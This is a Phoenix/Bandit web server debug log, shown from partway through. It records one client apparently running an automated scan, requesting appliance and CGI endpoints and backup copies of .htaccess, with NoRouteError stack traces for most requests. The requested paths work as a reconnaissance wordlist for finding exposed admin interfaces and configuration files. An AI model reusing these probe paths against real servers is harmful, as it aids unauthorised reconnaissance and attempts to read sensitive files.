    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:34.770000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55830] GET /WS2021/Default.aspx
[Thu Sep  3 08:24:34.793000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55830] ** (Phoenix.Router.NoRouteError) no route found for GET /WS2021/Default.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:35.398000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55834] GET /WS2022/Default.aspx
[Thu Sep  3 08:24:35.428000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55834] ** (Phoenix.Router.NoRouteError) no route found for GET /WS2022/Default.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:36.066000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55840] GET /WS2023/Default.aspx
[Thu Sep  3 08:24:36.083000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55840] ** (Phoenix.Router.NoRouteError) no route found for GET /WS2023/Default.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:40.724000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55844] GET /cgi-mod/index.cgi
[Thu Sep  3 08:24:40.738000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55844] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-mod/index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:42.144000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55858] GET /
[Thu Sep  3 08:24:42.144000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:55858] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:24:42.145000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55858] Sent 200 in 1ms
[Thu Sep  3 08:24:47.345000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60386] GET /cgi-bin/index.cgi
[Thu Sep  3 08:24:47.363000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60386] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:50.094000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60392] GET /header.php
[Thu Sep  3 08:24:50.137000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60392] ** (Phoenix.Router.NoRouteError) no route found for GET /header.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:53.449000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58094] GET /cgi-bin/kvm.cgi
[Thu Sep  3 08:24:53.476000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58094] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/kvm.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:54.397000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58106] GET /login
[Thu Sep  3 08:24:54.411000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58106] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:00.715000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58110] GET /login
[Thu Sep  3 08:25:00.740000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58110] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:00.969000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58120] GET /snmx-cgi/fxm.exe
[Thu Sep  3 08:25:00.990000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58120] ** (Phoenix.Router.NoRouteError) no route found for GET /snmx-cgi/fxm.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:19.262000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35576] GET /
[Thu Sep  3 08:25:19.263000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:35576] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:25:19.263000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35576] Sent 200 in 915µs
[Thu Sep  3 08:25:20.699000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35580] GET /.htaccess.old
[Thu Sep  3 08:25:20.720000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35580] ** (Phoenix.Router.NoRouteError) no route found for GET /.htaccess.old (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:20.952000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35576] GET /api/hpe-restapi.json
[Thu Sep  3 08:25:20.970000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35576] ** (Phoenix.Router.NoRouteError) no route found for GET /api/hpe-restapi.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:21.325000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35584] GET /.htaccess.bak
[Thu Sep  3 08:25:21.350000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35584] ** (Phoenix.Router.NoRouteError) no route found for GET /.htaccess.bak (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:21.625000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35596] GET /jscripts/app.js
[Thu Sep  3 08:25:21.647000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35596] ** (Phoenix.Router.NoRouteError) no route found for GET /jscripts/app.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:21.977000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35600] GET /.htaccess~
[Thu Sep  3 08:25:22.011000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35600] ** (Phoenix.Router.NoRouteError) no route found for GET /.htaccess~ (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:22.623000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35602] GET /.htaccess.copy
[Thu Sep  3 08:25:22.657000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35602] ** (Phoenix.Router.NoRouteError) no route found for GET /.htaccess.copy (DaProductAppWeb.Router)
